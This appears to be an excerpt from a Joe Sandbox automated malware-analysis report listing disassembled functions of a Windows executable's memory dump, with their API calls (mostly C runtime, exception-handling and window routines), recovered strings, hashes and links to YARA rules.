Opcode ID: 05733126a9c4bebea0e52da76eb28c32e09b93c69538f0fe9eff14667d99aa6c
Instruction ID: 63accd749d7517a49873fdd8d8bf46ec64885bfcc9368d87520176f64d09472e
Opcode Fuzzy Hash: 05733126a9c4bebea0e52da76eb28c32e09b93c69538f0fe9eff14667d99aa6c
Instruction Fuzzy Hash: D8C1B4B1D04209AADB25DB64DC85FEEB7A8AF04314F00655AF585F72C1D734BA84CBA1

Function 00E20A0A Relevance: 6.1, APIs: 4, Instructions: 73COMMON

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32(00000017), ref: 00E20A16
IsDebuggerPresent.KERNEL32 ref: 00E20AE2
SetUnhandledExceptionFilter.KERNEL32(00000000), ref: 00E20B02
UnhandledExceptionFilter.KERNEL32(?), ref: 00E20B0C

Memory Dump Source

Source File: 0000000A.00000002.1562359695.0000000000E01000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00E00000, based on PE: true

Associated: 0000000A.00000002.1562006949.0000000000E00000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563633414.0000000000E34000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563785624.0000000000E40000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563785624.0000000000E47000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563785624.0000000000E53000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563785624.0000000000E64000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1564844504.0000000000E65000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_e00000_4.jbxd

Similarity

API ID: ExceptionFilterPresentUnhandled$DebuggerFeatureProcessor
String ID:
API String ID: 254469556-0
Opcode ID: 5e1a1a3b8c61f00769e3861e25d14afb979794cc32d7d48c9e5b8fd1322c330e
Instruction ID: f9269bf6b082b2bee33c3b2af92f91ed72ddd83340b14df0e6ff47ac2f36e733
Opcode Fuzzy Hash: 5e1a1a3b8c61f00769e3861e25d14afb979794cc32d7d48c9e5b8fd1322c330e
Instruction Fuzzy Hash: C03109B5D0522C9FDB20DFA5D989BCDBBF8BF18304F1041AAE409A7291EB715B848F44

Function 00E1F82F Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 49COMMONLIBRARYCODE

Download Yara Rule

APIs

VirtualQuery.KERNEL32(80000000,00E1F774,0000001C,00E1F969,00000000,?,?,?,?,?,?,?,00E1F774,00000004,00E63D24,00E1F9F9), ref: 00E1F840
GetSystemInfo.KERNEL32(?,?,00000000,?,?,?,?,00E1F774,00000004,00E63D24,00E1F9F9), ref: 00E1F85B

Strings

D, xrefs: 00E1F84F

Memory Dump Source

Source File: 0000000A.00000002.1562359695.0000000000E01000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00E00000, based on PE: true

Associated: 0000000A.00000002.1562006949.0000000000E00000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563633414.0000000000E34000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563785624.0000000000E40000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563785624.0000000000E47000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563785624.0000000000E53000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563785624.0000000000E64000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1564844504.0000000000E65000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_e00000_4.jbxd

Similarity

API ID: InfoQuerySystemVirtual
String ID: D
API String ID: 401686933-2746444292
Opcode ID: ebcf2404b0b6fa029116d1e224b81ed834340e72f0cfe66d4654cdd01479b138
Instruction ID: 8ffc62f9f0d9b6d3bd23b754dab9260fc9f8ad5b69d362e83e1a66ad2bd0490b
Opcode Fuzzy Hash: ebcf2404b0b6fa029116d1e224b81ed834340e72f0cfe66d4654cdd01479b138
Instruction Fuzzy Hash: 1D018472600509ABDB18DE69DC09BDE7BA9AFD4328F08C234ED59E7254E634E9458680

Function 00E24FEF Relevance: 4.6, APIs: 3, Instructions: 78COMMONLIBRARYCODE

Download Yara Rule

APIs

IsDebuggerPresent.KERNEL32(?,?,?,?,?,?), ref: 00E250E7
SetUnhandledExceptionFilter.KERNEL32(00000000,?,?,?,?,?,?), ref: 00E250F1
UnhandledExceptionFilter.KERNEL32(?,?,?,?,?,?,?), ref: 00E250FE

Memory Dump Source

Source File: 0000000A.00000002.1562359695.0000000000E01000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00E00000, based on PE: true

Associated: 0000000A.00000002.1562006949.0000000000E00000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563633414.0000000000E34000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563785624.0000000000E40000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563785624.0000000000E47000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563785624.0000000000E53000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563785624.0000000000E64000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1564844504.0000000000E65000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_e00000_4.jbxd

Similarity

API ID: ExceptionFilterUnhandled$DebuggerPresent
String ID:
API String ID: 3906539128-0
Opcode ID: cff08c6d1f66198e2462b6dc44ddc9d871aaf7c8ca7ad30344639db77768543a
Instruction ID: dddac382625c013aac785b06b4ca57a895cb1ebfc56f01aac7af2b6e72074d4f
Opcode Fuzzy Hash: cff08c6d1f66198e2462b6dc44ddc9d871aaf7c8ca7ad30344639db77768543a
Instruction Fuzzy Hash: 0E31D7B590162C9BCB21DF68DD8978DBBB4BF18310F5052DAE80CA7291E7709F858F44

Function 00E1C093 Relevance: 3.0, APIs: 2, Instructions: 45COMMON

Download Yara Rule

APIs

GetLocaleInfoW.KERNEL32(00000400,0000000F,?,00000064), ref: 00E1C0B9
GetNumberFormatW.KERNEL32(00000400,00000000,?,00E4072C,?,?), ref: 00E1C108

Memory Dump Source

Source File: 0000000A.00000002.1562359695.0000000000E01000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00E00000, based on PE: true

Associated: 0000000A.00000002.1562006949.0000000000E00000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563633414.0000000000E34000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563785624.0000000000E40000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563785624.0000000000E47000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563785624.0000000000E53000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563785624.0000000000E64000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1564844504.0000000000E65000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_e00000_4.jbxd

Similarity

API ID: FormatInfoLocaleNumber
String ID:
API String ID: 2169056816-0
Opcode ID: 66fa48f93e645d1054346301d4b2565c05845a5a5e2957db2fa6a740dd560e68
Instruction ID: 764bcf4609c728b70ebfc7e3d37340e693c60e4fc11319b1fd45ba6815584522
Opcode Fuzzy Hash: 66fa48f93e645d1054346301d4b2565c05845a5a5e2957db2fa6a740dd560e68
Instruction Fuzzy Hash: B4019E39240308AED7109BA5EC49F9A7BBCEF09350F005022FA04B7190D370A969CBA5

Function 00E07727 Relevance: 3.0, APIs: 2, Instructions: 16windowCOMMON

Download Yara Rule

APIs

GetLastError.KERNEL32(00E07886,?,00000400), ref: 00E07727
FormatMessageW.KERNEL32(00001200,00000000,00000000,00000400,?,?,00000000), ref: 00E07748

Memory Dump Source

Source File: 0000000A.00000002.1562359695.0000000000E01000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00E00000, based on PE: true

Associated: 0000000A.00000002.1562006949.0000000000E00000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563633414.0000000000E34000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563785624.0000000000E40000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563785624.0000000000E47000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563785624.0000000000E53000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563785624.0000000000E64000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1564844504.0000000000E65000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_e00000_4.jbxd

Similarity

API ID: ErrorFormatLastMessage
String ID:
API String ID: 3479602957-0
Opcode ID: 923e670a490bfd5cfce2c8eddf7fdaf40cd4a682208c8a9414c217c57d383b28
Instruction ID: 631c695cfd053d7b6752349d63e1a233c4906427117c350f379dd17c773485f8
Opcode Fuzzy Hash: 923e670a490bfd5cfce2c8eddf7fdaf40cd4a682208c8a9414c217c57d383b28
Instruction Fuzzy Hash: E8D0A771348300BFF6010B315C4AF1A3B5A7B00B82F14C0047344F40E0D6B0B064AB15

Function 00E20826 Relevance: 1.6, APIs: 1, Instructions: 147COMMON

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32(0000000A), ref: 00E2083C

Memory Dump Source

Source File: 0000000A.00000002.1562359695.0000000000E01000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00E00000, based on PE: true

Associated: 0000000A.00000002.1562006949.0000000000E00000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563633414.0000000000E34000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563785624.0000000000E40000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563785624.0000000000E47000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563785624.0000000000E53000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563785624.0000000000E64000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1564844504.0000000000E65000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_e00000_4.jbxd

Similarity

API ID: FeaturePresentProcessor
String ID:
API String ID: 2325560087-0
Opcode ID: ce9d51360b95b24efff18dbb102bd2a9f26f40e48610ad4552d0879d4458ac04
Instruction ID: abf70b768db8b53610a36dbca44256cc8f297425a75adacaa24d7194d122c07f
Opcode Fuzzy Hash: ce9d51360b95b24efff18dbb102bd2a9f26f40e48610ad4552d0879d4458ac04
Instruction Fuzzy Hash: 63514C71A102158FEB18CF69E8857AEBBF0FB88354F24952AD405FB2A2D374D944CF90

Function 00E20B9D Relevance: 1.5, APIs: 1, Instructions: 3COMMON

Download Yara Rule

APIs

SetUnhandledExceptionFilter.KERNEL32(Function_00020BB0,00E20605), ref: 00E20BA2

Memory Dump Source

Source File: 0000000A.00000002.1562359695.0000000000E01000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00E00000, based on PE: true

Associated: 0000000A.00000002.1562006949.0000000000E00000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563633414.0000000000E34000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563785624.0000000000E40000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563785624.0000000000E47000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563785624.0000000000E53000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563785624.0000000000E64000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1564844504.0000000000E65000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_e00000_4.jbxd

Similarity

API ID: ExceptionFilterUnhandled
String ID:
API String ID: 3192549508-0
Opcode ID: 2d8c81ab98b53b69ba0f8f60d3812bb823dd42bc7abc05ab3f7d4f528e9324df
Instruction ID: 36aa58afb564bf98cd36fc2a92a039ae4a7bf6fd1b925fb3b14af8bf3e9cb041
Opcode Fuzzy Hash: 2d8c81ab98b53b69ba0f8f60d3812bb823dd42bc7abc05ab3f7d4f528e9324df
Instruction Fuzzy Hash:

Function 00E2D1F0 Relevance: 1.3, APIs: 1, Instructions: 5memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 00E2D1F0

Memory Dump Source

Source File: 0000000A.00000002.1562359695.0000000000E01000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00E00000, based on PE: true

Associated: 0000000A.00000002.1562006949.0000000000E00000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563633414.0000000000E34000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563785624.0000000000E40000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563785624.0000000000E47000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563785624.0000000000E53000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563785624.0000000000E64000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1564844504.0000000000E65000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_e00000_4.jbxd

Similarity

API ID: HeapProcess
String ID:
API String ID: 54951025-0
Opcode ID: ebece1aa148392a83042e0908d8bbffd14e4d6991d087c2e6feba26559a10e95
Instruction ID: 242989ab01f08a8784d9cd27dd3e114011807db49fe042de1aa562bfee8225c7
Opcode Fuzzy Hash: ebece1aa148392a83042e0908d8bbffd14e4d6991d087c2e6feba26559a10e95
Instruction Fuzzy Hash: 13A012F01021008F43004F336A0C2093994A7031C03044015D004D11A0E72050545641

Function 00E0F608 Relevance: 26.5, APIs: 12, Strings: 3, Instructions: 234COMMON

Download Yara Rule

APIs

_swprintf.LIBCMT ref: 00E0F62E

Part of subcall function 00E04A20: __vswprintf_c_l.LEGACY_STDIO_DEFINITIONS ref: 00E04A33

Part of subcall function 00E130F5: WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,000000FF,00000000,00000200,00000000,00000000,?,00E43070,00000200,00E0EC48,00000000,?,00000050,00E43070), ref: 00E13112

_strlen.LIBCMT ref: 00E0F64F
SetDlgItemTextW.USER32(?,00E40274,?), ref: 00E0F6AF
GetWindowRect.USER32(?,?), ref: 00E0F6E9
GetClientRect.USER32(?,?), ref: 00E0F6F5
GetWindowLongW.USER32(?,000000F0), ref: 00E0F795
GetWindowRect.USER32(?,?), ref: 00E0F7C2
SetWindowTextW.USER32(?,?), ref: 00E0F7FB
GetSystemMetrics.USER32(00000008), ref: 00E0F803
GetWindow.USER32(?,00000005), ref: 00E0F80E
GetWindowRect.USER32(00000000,?), ref: 00E0F83B
GetWindow.USER32(00000000,00000002), ref: 00E0F8AD

Strings

$%s:, xrefs: 00E0F622
CAPTION, xrefs: 00E0F7DD
d, xrefs: 00E0F715

Memory Dump Source

Source File: 0000000A.00000002.1562359695.0000000000E01000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00E00000, based on PE: true

Associated: 0000000A.00000002.1562006949.0000000000E00000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563633414.0000000000E34000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563785624.0000000000E40000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563785624.0000000000E47000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563785624.0000000000E53000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563785624.0000000000E64000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1564844504.0000000000E65000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_e00000_4.jbxd

Similarity

API ID: Window$Rect$Text$ByteCharClientItemLongMetricsMultiSystemWide__vswprintf_c_l_strlen_swprintf
String ID: $%s:$CAPTION$d
API String ID: 2407758923-2512411981
Opcode ID: 0505458a252000a41d4f4296cca6b2c0101d27e4c3fd598b88c399643acf0efb
Instruction ID: 8d0c3fc2ac92dd9a1cc2a0824f92f37caa01be235c3d8fe024c3db735adfadb7
Opcode Fuzzy Hash: 0505458a252000a41d4f4296cca6b2c0101d27e4c3fd598b88c399643acf0efb
Instruction Fuzzy Hash: A381E5722087019FD710DF68DD89F6FBBE8EB89704F04192DFA84E7291D671E8498B52

Function 00E2DCE2 Relevance: 24.6, APIs: 13, Strings: 1, Instructions: 114COMMONLIBRARYCODE

Download Yara Rule

APIs

___free_lconv_mon.LIBCMT ref: 00E2DD26

Part of subcall function 00E2D8C1: _free.LIBCMT ref: 00E2D8DE
Part of subcall function 00E2D8C1: _free.LIBCMT ref: 00E2D8F0
Part of subcall function 00E2D8C1: _free.LIBCMT ref: 00E2D902
Part of subcall function 00E2D8C1: _free.LIBCMT ref: 00E2D914
Part of subcall function 00E2D8C1: _free.LIBCMT ref: 00E2D926
Part of subcall function 00E2D8C1: _free.LIBCMT ref: 00E2D938
Part of subcall function 00E2D8C1: _free.LIBCMT ref: 00E2D94A
Part of subcall function 00E2D8C1: _free.LIBCMT ref: 00E2D95C
Part of subcall function 00E2D8C1: _free.LIBCMT ref: 00E2D96E
Part of subcall function 00E2D8C1: _free.LIBCMT ref: 00E2D980
Part of subcall function 00E2D8C1: _free.LIBCMT ref: 00E2D992
Part of subcall function 00E2D8C1: _free.LIBCMT ref: 00E2D9A4
Part of subcall function 00E2D8C1: _free.LIBCMT ref: 00E2D9B6

_free.LIBCMT ref: 00E2DD1B

Part of subcall function 00E2A66A: RtlFreeHeap.NTDLL(00000000,00000000,?,00E2DA56,00E34ADC,00000000,00E34ADC,00000000,?,00E2DA7D,00E34ADC,00000007,00E34ADC,?,00E2DE7A,00E34ADC), ref: 00E2A680
Part of subcall function 00E2A66A: GetLastError.KERNEL32(00E34ADC,?,00E2DA56,00E34ADC,00000000,00E34ADC,00000000,?,00E2DA7D,00E34ADC,00000007,00E34ADC,?,00E2DE7A,00E34ADC,00E34ADC), ref: 00E2A692

_free.LIBCMT ref: 00E2DD3D
_free.LIBCMT ref: 00E2DD52
_free.LIBCMT ref: 00E2DD5D
_free.LIBCMT ref: 00E2DD7F
_free.LIBCMT ref: 00E2DD92
_free.LIBCMT ref: 00E2DDA0
_free.LIBCMT ref: 00E2DDAB
_free.LIBCMT ref: 00E2DDE3
_free.LIBCMT ref: 00E2DDEA
_free.LIBCMT ref: 00E2DE07
_free.LIBCMT ref: 00E2DE1F

Strings

h, xrefs: 00E2DDCE

Memory Dump Source

Source File: 0000000A.00000002.1562359695.0000000000E01000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00E00000, based on PE: true

Associated: 0000000A.00000002.1562006949.0000000000E00000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563633414.0000000000E34000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563785624.0000000000E40000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563785624.0000000000E47000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563785624.0000000000E53000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563785624.0000000000E64000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1564844504.0000000000E65000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_e00000_4.jbxd

Similarity

API ID: _free$ErrorFreeHeapLast___free_lconv_mon
String ID: h
API String ID: 161543041-1717268160
Opcode ID: 0300c6f4451df3f66ddba184b3a429eb29b721eb3ccba290583484b6be63e023
Instruction ID: 518a48d4d9e82ced32e2aba2b9acfbfc80134665211f1a9105eb1b9882baf09c
Opcode Fuzzy Hash: 0300c6f4451df3f66ddba184b3a429eb29b721eb3ccba290583484b6be63e023
Instruction Fuzzy Hash: 7B3169716087249FEB20AA38FC45B5AB3E9FF50B14F186929E149F7191DF36AC80CB51

Function 00E1A6D1 Relevance: 15.9, APIs: 5, Strings: 4, Instructions: 126memoryCOMMON

Download Yara Rule

APIs

_wcslen.LIBCMT ref: 00E1A6F6
_wcslen.LIBCMT ref: 00E1A796
GlobalAlloc.KERNEL32(00000040,?), ref: 00E1A7A5
WideCharToMultiByte.KERNEL32(0000FDE9,00000000,00000000,000000FF,00000003,?,00000000,00000000), ref: 00E1A7C6
CreateStreamOnHGlobal.COMBASE(00000000,00000001,?), ref: 00E1A7ED

Strings

<html>, xrefs: 00E1A715, 00E1A74E
<head><meta http-equiv="content-type" content="text/html; charset=, xrefs: 00E1A720
utf-8"></head>, xrefs: 00E1A72B
</html>, xrefs: 00E1A777

Memory Dump Source

Source File: 0000000A.00000002.1562359695.0000000000E01000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00E00000, based on PE: true

Associated: 0000000A.00000002.1562006949.0000000000E00000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563633414.0000000000E34000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563785624.0000000000E40000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563785624.0000000000E47000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563785624.0000000000E53000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563785624.0000000000E64000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1564844504.0000000000E65000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_e00000_4.jbxd

Similarity

API ID: Global_wcslen$AllocByteCharCreateMultiStreamWide
String ID: </html>$<head><meta http-equiv="content-type" content="text/html; charset=$<html>$utf-8"></head>
API String ID: 1777411235-4209811716
Opcode ID: d9d5cdd3c46d328b7409497bc2641f5d8c76006c7538424916871b942acad5eb
Instruction ID: cd7e94555f3e019e6bc585bfbd9fd8eef6f2a6a9850267432bbc4b5f8b1f87aa
Opcode Fuzzy Hash: d9d5cdd3c46d328b7409497bc2641f5d8c76006c7538424916871b942acad5eb
Instruction Fuzzy Hash: BD312B721067517EE315AB70AC06FBFBBE8AF41710F18212FF441B61D1EF649A8582A6

Function 00E1E7EE Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 79windowCOMMON

Download Yara Rule

APIs

GetWindow.USER32(?,00000005), ref: 00E1E811
GetClassNameW.USER32(00000000,?,00000800), ref: 00E1E83D

Part of subcall function 00E13316: CompareStringW.KERNEL32(00000400,00001001,?,000000FF,?,Function_00013316,00E0D523,00000000,.exe,?,?,00000800,?,?,?,00E19E5C), ref: 00E1332C

GetWindowLongW.USER32(00000000,000000F0), ref: 00E1E859
SendMessageW.USER32(00000000,00000173,00000000,00000000), ref: 00E1E870
GetObjectW.GDI32(00000000,00000018,?), ref: 00E1E884
SendMessageW.USER32(00000000,00000172,00000000,00000000), ref: 00E1E8AD
DeleteObject.GDI32(00000000), ref: 00E1E8B4
GetWindow.USER32(00000000,00000002), ref: 00E1E8BD

Strings

STATIC, xrefs: 00E1E843

Memory Dump Source

Source File: 0000000A.00000002.1562359695.0000000000E01000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00E00000, based on PE: true

Associated: 0000000A.00000002.1562006949.0000000000E00000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563633414.0000000000E34000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563785624.0000000000E40000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563785624.0000000000E47000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563785624.0000000000E53000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563785624.0000000000E64000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1564844504.0000000000E65000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_e00000_4.jbxd

Similarity

API ID: Window$MessageObjectSend$ClassCompareDeleteLongNameString
String ID: STATIC
API String ID: 3820355801-1882779555
Opcode ID: baed77122e432d12b0964805fc86b446cfe8c21c1028b16597481f7fb6191bb1
Instruction ID: 60b37ca8cbf7fa06416b33df807c794cfa02dac8447e898ae349ac9ebe9aed6b
Opcode Fuzzy Hash: baed77122e432d12b0964805fc86b446cfe8c21c1028b16597481f7fb6191bb1
Instruction Fuzzy Hash: 1A112433201B107FE2206B71AC0AFEF769DBF55755F042130FE51B5192CBA48D8986B4

Function 00E2A421 Relevance: 15.1, APIs: 10, Instructions: 54COMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 00E2A435

Part of subcall function 00E2A66A: RtlFreeHeap.NTDLL(00000000,00000000,?,00E2DA56,00E34ADC,00000000,00E34ADC,00000000,?,00E2DA7D,00E34ADC,00000007,00E34ADC,?,00E2DE7A,00E34ADC), ref: 00E2A680
Part of subcall function 00E2A66A: GetLastError.KERNEL32(00E34ADC,?,00E2DA56,00E34ADC,00000000,00E34ADC,00000000,?,00E2DA7D,00E34ADC,00000007,00E34ADC,?,00E2DE7A,00E34ADC,00E34ADC), ref: 00E2A692

_free.LIBCMT ref: 00E2A441
_free.LIBCMT ref: 00E2A44C
_free.LIBCMT ref: 00E2A457
_free.LIBCMT ref: 00E2A462
_free.LIBCMT ref: 00E2A46D
_free.LIBCMT ref: 00E2A478
_free.LIBCMT ref: 00E2A483
_free.LIBCMT ref: 00E2A48E
_free.LIBCMT ref: 00E2A49C

Memory Dump Source

Source File: 0000000A.00000002.1562359695.0000000000E01000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00E00000, based on PE: true

Associated: 0000000A.00000002.1562006949.0000000000E00000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563633414.0000000000E34000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563785624.0000000000E40000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563785624.0000000000E47000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563785624.0000000000E53000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563785624.0000000000E64000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1564844504.0000000000E65000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_e00000_4.jbxd

Similarity

API ID: _free$ErrorFreeHeapLast
String ID:
API String ID: 776569668-0
Opcode ID: 1bc7d6c44b673d93802c98f702a20df57c20b2562156084f926a12e480da61b9
Instruction ID: bc67b42cb653eaa2d526c04f0ce4f664a4336a812556a9855fe76cfe94ef8a80
Opcode Fuzzy Hash: 1bc7d6c44b673d93802c98f702a20df57c20b2562156084f926a12e480da61b9
Instruction Fuzzy Hash: 0011D7B6100018BFCB01EF54E852CD93BB5EF14B50F0991A0FA085B122D736EE919B81

Function 00E23FC1 Relevance: 14.3, APIs: 5, Strings: 3, Instructions: 303COMMONLIBRARYCODE

Download Yara Rule

APIs

type_info::operator==.LIBVCRUNTIME ref: 00E240E0
___TypeMatch.LIBVCRUNTIME ref: 00E241EE
_UnwindNestedFrames.LIBCMT ref: 00E24340
CallUnexpected.LIBVCRUNTIME ref: 00E2435B
_abort.LIBCMT ref: 00E24360

Strings

csm, xrefs: 00E23FFE
csm, xrefs: 00E24117
csm, xrefs: 00E2406B

Memory Dump Source

Source File: 0000000A.00000002.1562359695.0000000000E01000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00E00000, based on PE: true

Associated: 0000000A.00000002.1562006949.0000000000E00000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563633414.0000000000E34000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563785624.0000000000E40000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563785624.0000000000E47000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563785624.0000000000E53000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1563785624.0000000000E64000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000A.00000002.1564844504.0000000000E65000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_e00000_4.jbxd

Similarity

